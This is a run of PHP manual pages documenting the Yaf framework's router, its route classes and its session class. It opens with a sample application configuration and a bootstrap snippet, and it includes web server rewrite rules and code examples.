resources.view[] =

;errors (see Bootstrap::initErrors)
application.showErrors=0

;enable the error controller
application.dispatcher.catchException=0
application.dispatcher.defaultModule=Index
application.dispatcher.defaultController=Index
application.dispatcher.defaultAction=index

;defined modules
application.modules= "Index,director"

;database
database.adapter = Pdo_Mysql
database.params.dbname  = printmaster
database.params.host     = localhost ;NA when using sqlite
database.params.username = root ;NA when using sqlite
database.params.password = root ;NA when using sqlite

[devel : product]

;errors (see Bootstrap::initErrors)
application.showErrors=1

#############################################################

Add this in your bootstrap.php

<?php
public function _initRoute(Yaf_Dispatcher $dis) {

$route1 = new Yaf_Route_Rewrite("/director",
            array(
                "controller" => "index",
                "module" => "director",
                "action" => "index"

                )
        );

}
?>


The route purpose

  • « Yaf_Route_Rewrite::__construct
  • Yaf_Router »
  • PHP Manual
  • Yaf_Route_Rewrite
  • The route purpose

Yaf_Route_Rewrite::route

(Yaf >=1.0.0)

Yaf_Route_Rewrite::route — The route purpose

Description

public bool Yaf_Route_Rewrite::route ( Yaf_Request_Abstract $request )

Parameters

request

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Router class

(Yaf >=1.0.0)

Introduction

Yaf_Router is the standard framework router. Routing is the process of taking a URI endpoint (that part of the URI which comes after the base URI: see Yaf_Request_Abstract::setBaseUri()) and decomposing it into parameters to determine which module, controller, and action of that controller should receive the request. This values of the module, controller, action and other parameters are packaged into a Yaf_Request_Abstract object which is then processed by Yaf_Dispatcher. Routing occurs only once: when the request is initially received and before the first controller is dispatched. Yaf_Router is designed to allow for mod_rewrite-like functionality using pure PHP structures. It is very loosely based on Ruby on Rails routing and does not require any prior knowledge of webserver URL rewriting. It is designed to work with a single Apache mod_rewrite rule (one of):

Example #1 Rewrite rule for Apache

RewriteEngine on
RewriteRule !\.(js|ico|gif|jpg|png|css|html)$ index.php
or (preferred):

Example #2 Rewrite rule for Apache

RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
If using Lighttpd, the following rewrite rule is valid:

Example #3 Rewrite rule for Lighttpd

url.rewrite-once = (
  ".*\?(.*)$" => "/index.php?$1",
  ".*\.(js|ico|gif|jpg|png|css|html)$" => "$0",
  "" => "/index.php"
)
If using Nginx, use the following rewrite rule:

Example #4 Rewrite rule for Nginx

server {
  listen ****;
  server_name  yourdomain.com;
  root   document_root;
  index  index.php index.html;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php/$1 last;
  }
}

Default route

Yaf_Router comes preconfigured with a default route Yaf_Route_Static, which will match URIs in the shape of controller/action. Additionally, a module name may be specified as the first path element, allowing URIs of the form module/controller/action. Finally, it will also match any additional parameters appended to the URI by default - controller/action/var1/value1/var2/value2.

Note:

Module name must be defined in config, considering application.module="Index,Foo,Bar", in this case, only index, foo and bar can be considerd as a module name. if doesn't config, there is only one module named "Index".

Some examples of how such routes are matched:

Example #5 Yaf_Route_Static(default route)example

// Assuming the following configure:
$conf = array(
   "application" => array(
      "modules" => "Index,Blog",
   ),
);

Controller only:
http://example/news
    controller == news
Action only(when defined yaf.action_prefer=1 in php.ini)
    action  == news

Invalid module maps to controller name:
http://example/foo
    controller == foo

Module + controller:
http://example/blog/archive
    module     == blog
    controller == archive

Module + controller + action:
http://example/blog/archive/list
    module     == blog
    controller == archive
    action     == list

Module + controller + action + params:
http://example/blog/archive/list/sort/alpha/date/desc
    module     == blog
    controller == archive
    action     == list
    sort       == alpha
    date       == desc

Class synopsis

Yaf_Router {
/* Properties */
protected $_routes ;
protected $_current ;
/* Methods */
public bool addConfig ( Yaf_Config_Abstract $config )
public bool addRoute ( string $name , Yaf_Route_Abstract $route )
public__construct ( void )
public string getCurrentRoute ( void )
public Yaf_Route_Interface getRoute ( string $name )
public mixed getRoutes ( void )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

_routes

registered routes stack

_current

after routing phase, this indicated the name of which route is used to route current request. you can get this name by Yaf_Router::getCurrentRoute().

Table of Contents

  • Yaf_Router::addConfig — Add config-defined routes into Router
  • Yaf_Router::addRoute — Add new Route into Router
  • Yaf_Router::__construct — Yaf_Router constructor
  • Yaf_Router::getCurrentRoute — Get the effective route name
  • Yaf_Router::getRoute — Retrieve a route by name
  • Yaf_Router::getRoutes — Retrieve registered routes
  • Yaf_Router::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Add config-defined routes into Router

  • « Yaf_Router
  • Yaf_Router::addRoute »
  • PHP Manual
  • Yaf_Router
  • Add config-defined routes into Router

Yaf_Router::addConfig

(Yaf >=1.0.0)

Yaf_Router::addConfig — Add config-defined routes into Router

Description

public bool Yaf_Router::addConfig ( Yaf_Config_Abstract $config )

Add routes defined by configs into Yaf_Router's route stack

Parameters

This function has no parameters.

Return Values

An Yaf_Config_Abstract instance, which should contains one or more valid route configs

Examples

Example #1 application.ini()example

;the order is very important, the prior one will be called first

;a rewrite route match request /product/*/*
routes.route_name.type="rewrite"
routes.route_name.match="/product/:name/:value"
routes.route_name.route.controller=product
routes.route_name.route.action=info

;a regex route match request /list/*/*
routes.route_name1.type="regex"
routes.route_name1.match="#^list/([^/]*)/([^/]*)#"
routes.route_name1.route.controller=Index
routes.route_name1.route.action=action
routes.route_name1.map.1=name
routes.route_name1.map.2=value

;a simple route match /**?c=controller&a=action&m=module
routes.route_name2.type="simple"
routes.route_name2.controller=c
routes.route_name2.module=m
routes.route_name2.action=a

;a simple router match /**?r=PATH_INFO
routes.route_name3.type="supervar"
routes.route_name3.varname=r

;a map route match any request to controller
routes.route_name4.type="map"
routes.route_name4.controllerPrefer=TRUE
routes.route_namer.delimiter="#!"

Example #2 Yaf_Dispatcher::autoConfig()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        /**
         * we can add some pre-defined routes in application.ini
         */
        $router->addConfig(Yaf_Registry::get("config")->routes);
    }
?>

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


Add new Route into Router

  • « Yaf_Router::addConfig
  • Yaf_Router::__construct »
  • PHP Manual
  • Yaf_Router
  • Add new Route into Router

Yaf_Router::addRoute

(Yaf >=1.0.0)

Yaf_Router::addRoute — Add new Route into Router

Description

public bool Yaf_Router::addRoute ( string $name , Yaf_Route_Abstract $route )

defaultly, Yaf_Router using a Yaf_Route_Static as its defualt route. you can add new routes into router's route stack by calling this method.

the newer route will be called before the older(route stack), and if the newer router return TRUE, the router process will be end. otherwise, the older one will be called.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Dispatcher::autoRender()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        /**
         * we can add some pre-defined routes in application.ini
         */
        $router->addConfig(Yaf_Registry::get("config")->routes);
        /**
         * add a Rewrite route, then for a request uri:
         * http://***/product/list/22/foo
         * will be matched by this route, and result:
         *
         *  [module] =>
         *  [controller] => product
         *  [action] => info
         *  [method] => GET
         *  [params:protected] => Array
         *      (
         *          [id] => 22
         *          [name] => foo
         *      )
         *
         */
        $route  = new Yaf_Route_Rewrite(
            "/product/list/:id/:name",
            array(
                "controller" => "product",
                "action"     => "info",
            )
        );

        $router->addRoute('dummy', $route);
    }
?>

See Also

  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Router constructor

  • « Yaf_Router::addRoute
  • Yaf_Router::getCurrentRoute »
  • PHP Manual
  • Yaf_Router
  • Yaf_Router constructor

Yaf_Router::__construct

(Yaf >=1.0.0)

Yaf_Router::__construct — Yaf_Router constructor

Description

publicYaf_Router::__construct ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the effective route name

  • « Yaf_Router::__construct
  • Yaf_Router::getRoute »
  • PHP Manual
  • Yaf_Router
  • Get the effective route name

Yaf_Router::getCurrentRoute

(Yaf >=1.0.0)

Yaf_Router::getCurrentRoute — Get the effective route name

Description

public string Yaf_Router::getCurrentRoute ( void )

Get the name of the route which is effective in the route process.

Note:

You should call this method after the route process finished, since before that, this method will always return NULL.

Parameters

This function has no parameters.

Return Values

String, the name of the effective route.

Examples

Example #1 Register some routes in Bootstrap

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        $rewrite_route  = new Yaf_Route_Rewrite(
            "/product/list/:page",
            array(
                "controller" => "product",
                "action"     => "list",
            )
        );

        $regex_route  = new Yaf_Route_Rewrite(
            "#^/product/info/(\d+)",
            array(
                "controller" => "product",
                "action"     => "info",
            )
        );

        $router->addRoute('rewrite', $rewrite_route)->addRoute('regex', $regex_route);
    }

    /**
     * register plugin
     */
    public function __initPlugins(Yaf_Dispatcher $dispatcher) {
        $dispatcher->registerPlugin(new DummyPlugin());
    }
?>

Example #2 plugin Dummy.php (under application.directory/plugins)

<?php
class DummyPlugin extends Yaf_Plugin_Abstract {

    public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
         var_dump(Yaf_Dispatcher::getInstance()->getRouter()->getCurrentRoute());
    }
?>
?>

The above example will output something similar to:

/* for http://yourdomain.com/product/list/1
 * DummyPlugin will output:
 */
string(7) "rewrite"

/* for http://yourdomain.com/product/info/34
 * DummyPlugin will output:
 */
string(5) "regex"

/* for other request URI
 * DummyPlugin will output:
 */
string(8) "_default"

See Also

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - Add new Route into Router

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a route by name

  • « Yaf_Router::getCurrentRoute
  • Yaf_Router::getRoutes »
  • PHP Manual
  • Yaf_Router
  • Retrieve a route by name

Yaf_Router::getRoute

(Yaf >=1.0.0)

Yaf_Router::getRoute — Retrieve a route by name

Description

public Yaf_Route_Interface Yaf_Router::getRoute ( string $name )

Retrieve a route by name, see also Yaf_Router::getCurrentRoute()

Parameters

This function has no parameters.

Return Values

See Also

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Router::getCurrentRoute() - Get the effective route name

User Contributed Notes

There are no user contributed notes for this page.


Retrieve registered routes

  • « Yaf_Router::getRoute
  • Yaf_Router::route »
  • PHP Manual
  • Yaf_Router
  • Retrieve registered routes

Yaf_Router::getRoutes

(Yaf >=1.0.0)

Yaf_Router::getRoutes — Retrieve registered routes

Description

public mixed Yaf_Router::getRoutes ( void )

Retrieve registered routes

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • « Yaf_Router::getRoutes
  • Yaf_Route_Simple »
  • PHP Manual
  • Yaf_Router
  • The route purpose

Yaf_Router::route

(Yaf >=1.0.0)

Yaf_Router::route — The route purpose

Description

public bool Yaf_Router::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Route_Simple class

(Yaf >=1.0.0)

Introduction

Yaf_Route_Simple will match the query string, and find the route info.

all you need to do is tell Yaf_Route_Simple what key in the $_GET is module, what key is controller, and what key is action.

Yaf_Route_Simple::route() will always return TRUE, so it is important put Yaf_Route_Simple in the front of the Route stack, otherwise all the other routes will not be called.

Class synopsis

Yaf_Route_Simple implements Yaf_Route_Interface {
/* Properties */
protected $controller ;
protected $module ;
protected $action ;
/* Methods */
public string assemble ( array $info [, array $query ] )
public__construct ( string $module_name , string $controller_name , string $action_name )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

controller

module

action

Table of Contents

  • Yaf_Route_Simple::assemble — Assemble a url
  • Yaf_Route_Simple::__construct — Yaf_Route_Simple constructor
  • Yaf_Route_Simple::route — Route a request

User Contributed Notes

There are no user contributed notes for this page.


Assemble a url

  • « Yaf_Route_Simple
  • Yaf_Route_Simple::__construct »
  • PHP Manual
  • Yaf_Route_Simple
  • Assemble a url

Yaf_Route_Simple::assemble

(Yaf >=2.3.0)

Yaf_Route_Simple::assemble — Assemble a url

Description

public string Yaf_Route_Simple::assemble ( array $info [, array $query ] )

Assemble a url.

Parameters

info

query

Examples

Example #1 Yaf_Route_Simple::assemble()example

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Simple('m', 'c', 'a');

$router->addRoute("simple", $route);

var_dump($router->getRoute('simple')->assemble(
            array(
                ':a' => 'yafaction',
                'tkey' => 'tval',
                ':c' => 'yafcontroller',
                ':m' => 'yafmodule'
                ),
            array(
                'tkey1' => 'tval1',
                'tkey2' => 'tval2'
                )
            ));

The above example will output something similar to:

string(64) "?m=yafmodule&c=yafcontroller&a=yafaction&tkey1=tval1&tkey2=tval2"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Simple constructor

  • « Yaf_Route_Simple::assemble
  • Yaf_Route_Simple::route »
  • PHP Manual
  • Yaf_Route_Simple
  • Yaf_Route_Simple constructor

Yaf_Route_Simple::__construct

(Yaf >=1.0.0)

Yaf_Route_Simple::__construct — Yaf_Route_Simple constructor

Description

publicYaf_Route_Simple::__construct ( string $module_name , string $controller_name , string $action_name )

Yaf_Route_Simple will get route info from query string. and the parameters of this constructor will used as keys while searching for the route info in $_GET.

Warning

This function is currently not documented; only its argument list is available.

Parameters

module_name

The key name of the module info.

controller_name

the key name of the controller info.

action_name

the key name of the action info.

Return Values

Always return TRUE.

Examples

Example #1 Yaf_Route_Simple::route()example

<?php
   $route = new Yaf_Route_Simple("m", "controller", "act");
   Yaf_Router::getInstance()->addRoute("simple", $route);
?>

Example #2 Yaf_Route_Simple::route()example

Request: http://yourdomain.com/path/?controller=a&act=b
=> module = default(index), controller = a, action = b

Request: http://yourdomain.com/path
=> module = default(index), controller = default(index), action = default(index)

See Also

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - Route a request
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Route a request

  • « Yaf_Route_Simple::__construct
  • Yaf_Route_Static »
  • PHP Manual
  • Yaf_Route_Simple
  • Route a request

Yaf_Route_Simple::route

(Yaf >=1.0.0)

Yaf_Route_Simple::route — Route a request

Description

public bool Yaf_Route_Simple::route ( Yaf_Request_Abstract $request )

see Yaf_Route_Simple::__construct()

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

always be TRUE

See Also

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - Route a request
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Route_Static class

(Yaf >=1.0.0)

Introduction

Defaultly, Yaf_Router only have a Yaf_Route_Static as its default route.

And Yaf_Route_Static is designed to handle the 80% requirement.

please *NOTE* that it is unecessary to instance a Yaf_Route_Static, also unecesary to add it into Yaf_Router's routes stack, since there is always be one in Yaf_Router's routes stack, and always be called at the last time.

Class synopsis

Yaf_Route_Static implements Yaf_Router {
/* Methods */
public string assemble ( array $info [, array $query ] )
public void match ( string $uri )
public bool route ( Yaf_Request_Abstract $request )
}

Table of Contents

  • Yaf_Route_Static::assemble — Assemble a url
  • Yaf_Route_Static::match — The match purpose
  • Yaf_Route_Static::route — Route a request

User Contributed Notes

There are no user contributed notes for this page.


Assemble a url

  • « Yaf_Route_Static
  • Yaf_Route_Static::match »
  • PHP Manual
  • Yaf_Route_Static
  • Assemble a url

Yaf_Route_Static::assemble

(Yaf >=2.3.0)

Yaf_Route_Static::assemble — Assemble a url

Description

public string Yaf_Route_Static::assemble ( array $info [, array $query ] )

Assemble a url.

Parameters

info

query

Examples

Example #1 Yaf_Route_Static::assemble()example

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Static();

$router->addRoute("static", $route);

var_dump($router->getRoute('static')->assemble(
            array(
                ':a' => 'yafaction',
                'tkey' => 'tval',
                ':c' => 'yafcontroller',
                ':m' => 'yafmodule'
            ),
        )
);

var_dump($router->getRoute('static')->assemble(
            array(
                ':a' => 'yafaction',
                'tkey' => 'tval',
                ':c' => 'yafcontroller',
                ':m' => 'yafmodule'
            ),
            array(
                'tkey1' => 'tval1',
                'tkey2' => 'tval2'
            )
        )
);

The above example will output something similar to:

string(%d) "/yafmodule/yafcontroller/yafaction"
string(%d) "/yafmodule/yafcontroller/yafaction?tkey1=tval1&tkey2=tval2"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The match purpose

  • « Yaf_Route_Static::assemble
  • Yaf_Route_Static::route »
  • PHP Manual
  • Yaf_Route_Static
  • The match purpose

Yaf_Route_Static::match

(Yaf >=1.0.0)

Yaf_Route_Static::match — The match purpose

Description

public void Yaf_Route_Static::match ( string $uri )

Warning

This function is currently not documented; only its argument list is available.

Parameters

uri

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Route a request

  • « Yaf_Route_Static::match
  • Yaf_Route_Supervar »
  • PHP Manual
  • Yaf_Route_Static
  • Route a request

Yaf_Route_Static::route

(Yaf >=1.0.0)

Yaf_Route_Static::route — Route a request

Description

public bool Yaf_Route_Static::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

always be TRUE

Examples

Example #1 Yaf_Route_Static::route()example

// assuming there is only one module defined:Index
Request: http://yourdomain.com/a/b
=> module = index, controller=a, action=b

//assuming ap.action_prefer = On
Request: http://yourdomain.com/b
=> module = default(index), controller = default(index), action = b

//assuming ap.action_prefer = Off
Request: http://yourdomain.com/b
=> module = default(index), controller = b, action = default(index)

Request: http://yourdomain.com/a/b/foo/bar/test/a/id/4
=> module = default(index), controller = a, action = b, request parameters: foo = bar, test = a, id = 4

See Also

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Simple::route() - Route a request
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Route_Supervar class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Route_Supervar implements Yaf_Route_Interface {
/* Properties */
protected $_var_name ;
/* Methods */
public string assemble ( array $info [, array $query ] )
public__construct ( string $supervar_name )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

_var_name

Table of Contents

  • Yaf_Route_Supervar::assemble — Assemble a url
  • Yaf_Route_Supervar::__construct — The __construct purpose
  • Yaf_Route_Supervar::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Assemble a url

  • « Yaf_Route_Supervar
  • Yaf_Route_Supervar::__construct »
  • PHP Manual
  • Yaf_Route_Supervar
  • Assemble a url

Yaf_Route_Supervar::assemble

(Yaf >=2.3.0)

Yaf_Route_Supervar::assemble — Assemble a url

Description

public string Yaf_Route_Supervar::assemble ( array $info [, array $query ] )

Assemble a url.

Parameters

info

query

Examples

Example #1 Yaf_Route_Supervar::assemble()example

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Supervar('r');

$router->addRoute("supervar", $route);

var_dump($router->getRoute('supervar')->assemble(
        array(
              ':a' => 'yafaction',
              'tkey' => 'tval',
              ':c' => 'yafcontroller',
              ':m' => 'yafmodule'
        ),
        array(
              'tkey1' => 'tval1',
              'tkey2' => 'tval2'
        )
));

try {
var_dump($router->getRoute('supervar')->assemble(
        array(
              ':a' => 'yafaction',
              'tkey' => 'tval',
              ':m' => 'yafmodule'
        ),
        array(
              'tkey1' => 'tval1',
              'tkey2' => 'tval2',
              1 => array(),
        )
));
} catch (Exception $e) {
    var_dump($e->getMessage());
}

The above example will output something similar to:

string(%d) "?r=/yafmodule/yafcontroller/yafaction&tkey1=tval1&tkey2=tval2"
string(%d) "You need to specify the controller by ':c'"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Route_Supervar::assemble
  • Yaf_Route_Supervar::route »
  • PHP Manual
  • Yaf_Route_Supervar
  • The __construct purpose

Yaf_Route_Supervar::__construct

(Yaf >=1.0.0)

Yaf_Route_Supervar::__construct — The __construct purpose

Description

publicYaf_Route_Supervar::__construct ( string $supervar_name )

Yaf_Route_Supervar is similar with Yaf_Route_Static, the difference is Yaf_Route_Supervar will look for path info in query string, and the parameter supervar_name is the key.

Warning

This function is currently not documented; only its argument list is available.

Parameters

supervar_name

The name of key.

Return Values

Examples

Example #1 Yaf_Route_Supervar()example

<?php
   /**
    * Add a supervar route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Supervar("r"));
    );
?>

The above example will output something similar to:

/** for request: http://yourdomain.com/xx/oo/?r=/ctr/act/var/value
  * will result in following:
  */
  array (
    "module"   => index(default),
    "controller" => ctr,
    "action"     => act,
    "params"     => array(
          "var" => value,
     )
  )

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Regex
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • « Yaf_Route_Supervar::__construct
  • Yaf_Session »
  • PHP Manual
  • Yaf_Route_Supervar
  • The route purpose

Yaf_Route_Supervar::route

(Yaf >=1.0.0)

Yaf_Route_Supervar::route — The route purpose

Description

public bool Yaf_Route_Supervar::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

If there is a key(which was defined in Yaf_Route_Supervar::__construct()) in $_GET, return TRUE. otherwise return FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Session class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Session implements Iterator , ArrayAccess , Countable {
/* Properties */
protected static $_instance ;
protected $_session ;
protected $_started ;
/* Methods */
private void __clone ( void )
__construct ( void )
public void count ( void )
public void current ( void )
public void del ( string $name )
public void __get ( string $name )
public static void getInstance ( void )
public void has ( string $name )
public void __isset ( string $name )
public void key ( void )
public void next ( void )
public void offsetExists ( string $name )
public void offsetGet ( string $name )
public void offsetSet ( string $name , string $value )
public void offsetUnset ( string $name )
public void rewind ( void )
public void __set ( string $name , string $value )
private void __sleep ( void )
public void start ( void )
public void __unset ( string $name )
public void valid ( void )
private void __wakeup ( void )
}

Properties

_instance

_session

_started

Table of Contents

  • Yaf_Session::__clone — The __clone purpose
  • Yaf_Session::__construct — The __construct purpose
  • Yaf_Session::count — The count purpose
  • Yaf_Session::current — The current purpose
  • Yaf_Session::del — The del purpose
  • Yaf_Session::__get — The __get purpose
  • Yaf_Session::getInstance — The getInstance purpose
  • Yaf_Session::has — The has purpose
  • Yaf_Session::__isset — The __isset purpose
  • Yaf_Session::key — The key purpose
  • Yaf_Session::next — The next purpose
  • Yaf_Session::offsetExists — The offsetExists purpose
  • Yaf_Session::offsetGet — The offsetGet purpose
  • Yaf_Session::offsetSet — The offsetSet purpose
  • Yaf_Session::offsetUnset — The offsetUnset purpose
  • Yaf_Session::rewind — The rewind purpose
  • Yaf_Session::__set — The __set purpose
  • Yaf_Session::__sleep — The __sleep purpose
  • Yaf_Session::start — The start purpose
  • Yaf_Session::__unset — The __unset purpose
  • Yaf_Session::valid — The valid purpose
  • Yaf_Session::__wakeup — The __wakeup purpose

User Contributed Notes

There are no user contributed notes for this page.


The __clone purpose

  • « Yaf_Session
  • Yaf_Session::__construct »
  • PHP Manual
  • Yaf_Session
  • The __clone purpose

Yaf_Session::__clone

(Yaf >=1.0.0)

Yaf_Session::__clone — The __clone purpose

Description

private void Yaf_Session::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Session::__clone
  • Yaf_Session::count »
  • PHP Manual
  • Yaf_Session
  • The __construct purpose

Yaf_Session::__construct

(Yaf >=1.0.0)

Yaf_Session::__construct — The __construct purpose

Description

Yaf_Session::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The count purpose

  • « Yaf_Session::__construct
  • Yaf_Session::current »
  • PHP Manual
  • Yaf_Session
  • The count purpose

Yaf_Session::count

(Yaf >=1.0.0)

Yaf_Session::count — The count purpose

Description

public void Yaf_Session::count ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • « Yaf_Session::count
  • Yaf_Session::del »
  • PHP Manual
  • Yaf_Session
  • The current purpose

Yaf_Session::current

(Yaf >=1.0.0)

Yaf_Session::current — The current purpose

Description

public void Yaf_Session::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The del purpose

  • « Yaf_Session::current
  • Yaf_Session::__get »
  • PHP Manual
  • Yaf_Session
  • The del purpose

Yaf_Session::del

(Yaf >=1.0.0)

Yaf_Session::del — The del purpose

Description

public void Yaf_Session::del ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __get purpose

  • « Yaf_Session::del
  • Yaf_Session::getInstance »
  • PHP Manual
  • Yaf_Session
  • The __get purpose

Yaf_Session::__get

(Yaf >=1.0.0)

Yaf_Session::__get — The __get purpose

Description

public void Yaf_Session::__get ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getInstance purpose

  • « Yaf_Session::__get
  • Yaf_Session::has »
  • PHP Manual
  • Yaf_Session
  • The getInstance purpose

Yaf_Session::getInstance

(Yaf >=1.0.0)

Yaf_Session::getInstance — The getInstance purpose

Description

public static void Yaf_Session::getInstance ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The has purpose

  • « Yaf_Session::getInstance
  • Yaf_Session::__isset »
  • PHP Manual
  • Yaf_Session
  • The has purpose

Yaf_Session::has

(Yaf >=1.0.0)

Yaf_Session::has — The has purpose

Description

public void Yaf_Session::has ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • « Yaf_Session::has
  • Yaf_Session::key »
  • PHP Manual
  • Yaf_Session
  • The __isset purpose

Yaf_Session::__isset

(Yaf >=1.0.0)

Yaf_Session::__isset — The __isset purpose

Description

public void Yaf_Session::__isset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The key purpose

  • « Yaf_Session::__isset
  • Yaf_Session::next »
  • PHP Manual
  • Yaf_Session
  • The key purpose

Yaf_Session::key

(Yaf >=1.0.0)

Yaf_Session::key — The key purpose

Description

public void Yaf_Session::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The next purpose

  • « Yaf_Session::key
  • Yaf_Session::offsetExists »
  • PHP Manual
  • Yaf_Session
  • The next purpose

Yaf_Session::next

(Yaf >=1.0.0)

Yaf_Session::next — The next purpose

Description

public void Yaf_Session::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • « Yaf_Session::next
  • Yaf_Session::offsetGet »
  • PHP Manual
  • Yaf_Session
  • The offsetExists purpose

Yaf_Session::offsetExists

(Yaf >=1.0.0)

Yaf_Session::offsetExists — The offsetExists purpose

Description

public void Yaf_Session::offsetExists ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • « Yaf_Session::offsetExists
  • Yaf_Session::offsetSet »
  • PHP Manual
  • Yaf_Session
  • The offsetGet purpose

Yaf_Session::offsetGet

(Yaf >=1.0.0)

Yaf_Session::offsetGet — The offsetGet purpose

Description

public void Yaf_Session::offsetGet ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • « Yaf_Session::offsetGet
  • Yaf_Session::offsetUnset »
  • PHP Manual
  • Yaf_Session
  • The offsetSet purpose

Yaf_Session::offsetSet

(Yaf >=1.0.0)

Yaf_Session::offsetSet — The offsetSet purpose

Description

public void Yaf_Session::offsetSet ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

